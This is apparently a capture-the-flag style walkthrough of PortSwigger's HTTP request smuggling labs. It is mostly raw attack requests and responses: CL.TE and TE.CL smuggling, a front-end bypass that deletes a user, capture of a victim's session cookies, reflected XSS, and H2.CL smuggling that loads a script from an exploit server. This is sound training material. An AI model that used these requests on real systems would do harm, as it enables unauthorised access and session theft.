Walk-through of the HTTP request smuggling vulnerabilities lab on PortSwigger Web Security Academy.
- Practitioner – HTTP request smuggling, basic CL.TE vulnerability
- Practitioner – HTTP request smuggling, basic TE.CL vulnerability
- Practitioner – HTTP request smuggling, obfuscating the TE header
- Practitioner – HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
- Practitioner – HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
- Practitioner – Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
- Practitioner – Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability
- Practitioner – Exploiting HTTP request smuggling to reveal front-end request rewriting
- Practitioner – Exploiting HTTP request smuggling to capture other users’ requests
- Practitioner – Exploiting HTTP request smuggling to deliver reflected XSS
- Practitioner – Response queue poisoning via H2.TE request smuggling
- Practitioner – H2.CL request smuggling
- Practitioner – HTTP/2 request smuggling via CRLF injection
- Practitioner – HTTP/2 request splitting via CRLF injection
- Practitioner – CL.0 request smuggling
- Expert- Exploiting HTTP request smuggling to perform web cache poisoning
- Expert- Exploiting HTTP request smuggling to perform web cache deception
- Expert- Bypassing access controls via HTTP/2 request tunnelling
- Expert- Web cache poisoning via HTTP/2 request tunnelling
- Expert- Client-side desync
- Expert- Browser cache poisoning via client-side desync
- Expert- Server-side pause-based request smuggling
Manually fixing the length fields in request smuggling attacks can be tricky. Use the HTTP Request Smuggler Burp extension.
Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1
Practitioner – HTTP request smuggling, basic CL.TE vulnerability
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method. To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.
Request
Content length: 0\r\n\r\n\r\nG = 8, Burp automatically updated it.
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Cookie: session=X
Content-Length: 8
Transfer-Encoding: chunked
0
G
Response
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
Connection: close
Keep-Alive: timeout=0
Content-Length: 27
"Unrecognized method GPOST"
Practitioner – HTTP request smuggling, basic TE.CL vulnerability
This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method. To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.
Uncheck the Update Content-Length option in the Repeater menu.
Request
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Cookie: session=X
Upgrade-Insecure-Requests: 1
Content-Length: 4
Transfer-Encoding: chunked
61
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Whatever
0
Transfer-Encoding length: GPOST….Whatever = 97 (hex = 61)
GPOST / HTTP/1.1 = 16 + \r\n = 18 chars
Content-Type: application/x-www-form-urlencoded = 47 + \r\n
Content-Length: 20 = 18 + \r\n
\r\n = 2 chars
Whatever = 8 chars, DON'T ADD \r\n
Response
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
Connection: close
Keep-Alive: timeout=0
Content-Length: 27
"Unrecognized method GPOST"
Practitioner – HTTP request smuggling, obfuscating the TE header
This lab involves a front-end and back-end server, and the two servers handle duplicate HTTP request headers in different ways. The front-end server rejects requests that aren’t using the GET or POST method. To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.
Uncheck the Update Content-Length option in the Repeater menu.
Request
Use request from TE.CL and try to obfuscate the TE header. Add a space before the header:
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked
61
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Whatever
0
Transfer-Encoding length: GPOST….Whatever = 97 (hex = 61)
GPOST / HTTP/1.1 = 16 + \r\n = 18 chars
Content-Type: application/x-www-form-urlencoded = 47 + \r\n
Content-Length: 20 = 18 + \r\n
\r\n = 2 chars
Whatever = 8 chars, DON'T ADD \r\n
Response
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 27
"Unrecognized method GPOST"
Also works with header “tRANSFER-ENCODING: chunked”.
Practitioner – HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.
Request
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
Response
HTTP/1.1 200 OK
[...]
Try accessing the home page again.
GET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 11
"Not Found"
Practitioner – HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.
Calculate chunk length (9f)
Copy this request in Burp Suite’s extension Hackvertor. There will be a text “Input: 154”. Add 5 to that number (number of carriage returns, adjust as needed). In the Decoder tab, enter 159 and Encode as Hex. It will give 9f.
POST /404 HTTP/1.1
Host: <LAB ID 32 chars>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
Request
POST / HTTP/1.1
Host: <LAB ID 32 chars>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
9f
POST /404 HTTP/1.1
Host: <LAB ID 32 chars>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Response
HTTP/1.1 200 OK
[...]
Try accessing the home page again.
GET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
HTTP/1.1 404 Not Found
Content-Type: application/json; charset=utf-8
[...]
"Not Found"
Practitioner – Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it. To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.
Try accessing /admin
GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8
Content-Length: 24
"Path /admin is blocked"
Smuggling CL.TE
Send the request twice.
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Foo: x
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Connection: close
Content-Length: 50
{"error":"Duplicate header names are not allowed"}
The request was blocked due to the second request’s Host header conflicting with the smuggled Host header in the first request.
Request
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
Response
HTTP/1.1 200 OK
[...]
Try accessing the home page again.
GET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
HTTP/1.1 200 OK
[...]
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
[...]
Delete user carlos
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
HTTP/1.1 200 OK
[...]
GET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/1.1 302 Found
Location: /admin
[...]
Practitioner – Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability
This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it. To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.
Try accessing /admin
GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8
Content-Length: 24
"Path /admin is blocked"
Smuggling TE.CL
In the Hackvertor tab:
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: <@arithmetic(2,'+')><@length><@chunked_dec2hex><@length><@get_chunk/><@/length><@/chunked_dec2hex><@/length><@/arithmetic>
Transfer-Encoding: chunked
<@chunked_dec2hex><@arithmetic(5,'+',',')><@length><@get_chunk/><@/length><@/arithmetic><@/chunked_dec2hex>
<@set_chunk(false)>POST /admin HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1<@/set_chunk>
0
Copy the output in the Repeater and send the request.
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked
a1
POST /admin HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
HTTP/1.1 200 OK
[...]
GET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/1.1 401 Unauthorized
[...]
Admin interface only available to local users
[...]
Update the smuggling request in the Hackvertor tab to use localhost instead of the LAB ID. Copy the output in the Repeater and send the request.
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked
71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
HTTP/1.1 200 OK
[...]
GET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/1.1 200 OK
[...]
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
[...]
Delete user carlos to solve the lab
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked
88
POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
HTTP/1.1 200 OK
[...]
GET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/1.1 302 Found
Location: /admin
[...]
Practitioner – Exploiting HTTP request smuggling to reveal front-end request rewriting
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but it’s only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It’s similar to the X-Forwarded-For header but has a different name. To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos.
Try accessing /admin
GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/2 401 Unauthorized
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2687
[...]
Admin interface only available if logged in as an administrator, or if requested from 127.0.0.1
[...]
Smuggling CL.TE to find the HTTP header added by the front-end server
We find that the search reflects the search term in the server response.
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]
search=whatever
HTTP/1.1 200 OK
[...]
<h1>1 search results for 'whatever'</h1>
[...]
Send a smuggling request CL.TE to find what HTTP header is added by the front-end server. Send the request twice.
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 125
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 250
search=whatever
HTTP/1.1 200 OK
[...]
<h1>0 search results for 'whateverPOST / HTTP/1.1
X-ZQDdjJ-Ip: 163.116.142.114
Host: <LAB ID>.web-security-academy.net
Content-Length: 125
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Host: <LAB ID>.web-securit'</h1>
[...]
We find header “X-ZQDdjJ-Ip”.
Smuggling CL.TE
Send the request twice.
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 139
Transfer-Encoding: chunked
0
POST /admin HTTP/1.1
Host: <LAB ID>.web-security-academy.net
X-ZQDdjJ-Ip: 127.0.0.1
Content-Length: 250
HTTP/1.1 200 OK
[...]
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
[...]
Delete user carlos to solve the lab
Send this request twice.
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 162
Transfer-Encoding: chunked
0
POST /admin/delete?username=carlos HTTP/1.1
Host: <LAB ID>.web-security-academy.net
X-ZQDdjJ-Ip: 127.0.0.1
Content-Length: 250
HTTP/1.1 302 Found
Location: /admin
[...]
Practitioner – Exploiting HTTP request smuggling to capture other users’ requests
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. To solve the lab, smuggle a request to the back-end server that causes the next user’s request to be stored in the application. Then retrieve the next user’s request and use the victim user’s cookies to access their account.
- Send the request of the Home page to the Repeater.
- Change the request to HTTP/1 in the Inspector.
- Right-click and change the request method to POST.
Find a functionality that can store and retrieve data. Visit the first blog post and post a comment.
Smuggling CL.TE
Put the comment parameter at the end of the post comment request. The user’s request will be stored as a comment.
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Cookie: session=<session ID>
Content-Type: application/x-www-form-urlencoded
Content-Length: 361
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Cookie: session=<session ID>
Content-Type: application/x-www-form-urlencoded
Content-Length: 935
csrf=GLJhYuGylOPCrwaCGzkiggW7cUmZ3csa&postId=4&name=Whatever&email=whatever%40example.com&website=http%3A%2F%2Fwhatever.com&comment=whatever
HTTP/1.1 200 OK
[...]
Wait until the user sends a request. You may need to resend the smuggling request multiple times, be patient. Adjust the second Content-Length until you get the full user request (or at least the session cookie). Wait for some time, visit the blog post and look at the comments.
GET /post?postId=4 HTTP/1.1
Host: <LAB ID>.web-security-academy.net
HTTP/1.1 200 OK
[...]
<p>whateverGET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
...
user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
...
cookie: victim-fingerprint=fozXQEwrKGUlXshOd2VitZl1Uy4YSG6n; secret=bbwa1iKfyiQgziB5KAuB66mtJEMFljGG; session=r9vARSXJkMA7aHCkq1ggXIqDQih5OMSj
</p>
[...]
We obtain the victim’s cookies. Send a request to the My account page with the victim’s cookies to solve the lab.
GET /my-account HTTP/1.1
Host: <LAB ID>.web-security-academy.net
cookie: victim-fingerprint=fozXQEwrKGUlXshOd2VitZl1Uy4YSG6n; secret=bbwa1iKfyiQgziB5KAuB66mtJEMFljGG; session=r9vARSXJkMA7aHCkq1ggXIqDQih5OMSj
HTTP/1.1 200 OK
[...]
<p>Your username is: administrator</p>
[...]
Practitioner – Exploiting HTTP request smuggling to deliver reflected XSS
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. The application is also vulnerable to reflected XSS via the User-Agent header. To solve the lab, smuggle a request to the back-end server that causes the next user’s request to receive a response containing an XSS exploit that executes alert(1).
Discover the XSS
Click on a blog post. The form to leave a comment contains the user agent as a hidden field.
GET /post?postId=1 HTTP/2
Host: <LAB ID>.web-security-academy.net
User-Agent: Mozilla/5.0 ...
[...]
HTTP/2 200 OK
[...]
<input required type="hidden" name="userAgent" value="Mozilla/5.0 ...">
[...]
Send the request to the Repeater module and change the User-Agent HTTP header. Complete the XSS.
GET /post?postId=1 HTTP/2
Host: <LAB ID>.web-security-academy.net
User-Agent: Whatever"/><script>alert(1)</script>
[...]
HTTP/2 200 OK
[...]
<input required type="hidden" name="userAgent" value="Whatever"/><script>alert(1)</script>
[...]
Smuggling CL.TE
POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 222
Transfer-Encoding: chunked
0
GET /post?postId=1 HTTP/1.1
Host: <LAB ID>.web-security-academy.net
User-Agent: Whatever"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
Send the request many times until the lab is solved.
Practitioner – Response queue poisoning via H2.TE request smuggling
This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length. To solve the lab, delete the user carlos by using response queue poisoning to break into the admin panel at /admin. An admin user will log in approximately every 15 seconds. The connection to the back-end is reset every 10 requests, so don’t worry if you get it into a bad state – just send a few normal requests to get a fresh connection.
Practitioner – H2.CL request smuggling
This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length. To solve the lab, perform a request smuggling attack that causes the victim’s browser to load and execute a malicious JavaScript file from the exploit server, calling alert(document.cookie). The victim user accesses the home page every 10 seconds.
Smuggling H2.CL
POST / HTTP/2
Host: <LAB ID>.web-security-academy.net
Content-Length: 0
SMUGGLED
HTTP/2 200 OK
[...]
GET / HTTP/2
Host: <LAB ID>.web-security-academy.net
HTTP/2 404 Not Found
[...]
Investigate
Sending a request to “/resources” results in a 302 Found redirecting to “/resources/”.
Create the exploit
- Click on Go to exploit server.
- In the file name, enter “/resources”.
- In the Body section, enter the payload below and click Store.
alert(document.cookie)
Attack
Smuggled request must be in HTTP/1 or it will not work (request in the Repeater must be in HTTP/2).
POST / HTTP/2
Host: <LAB ID>.web-security-academy.net
Content-Length: 0
GET /resources HTTP/1.1
Host: exploit-<EXPLOIT SERVER ID>.exploit-server.net
Content-Length: 5
x=1
Submit the request until the lab is solved. You can monitor the Exploit server’s log.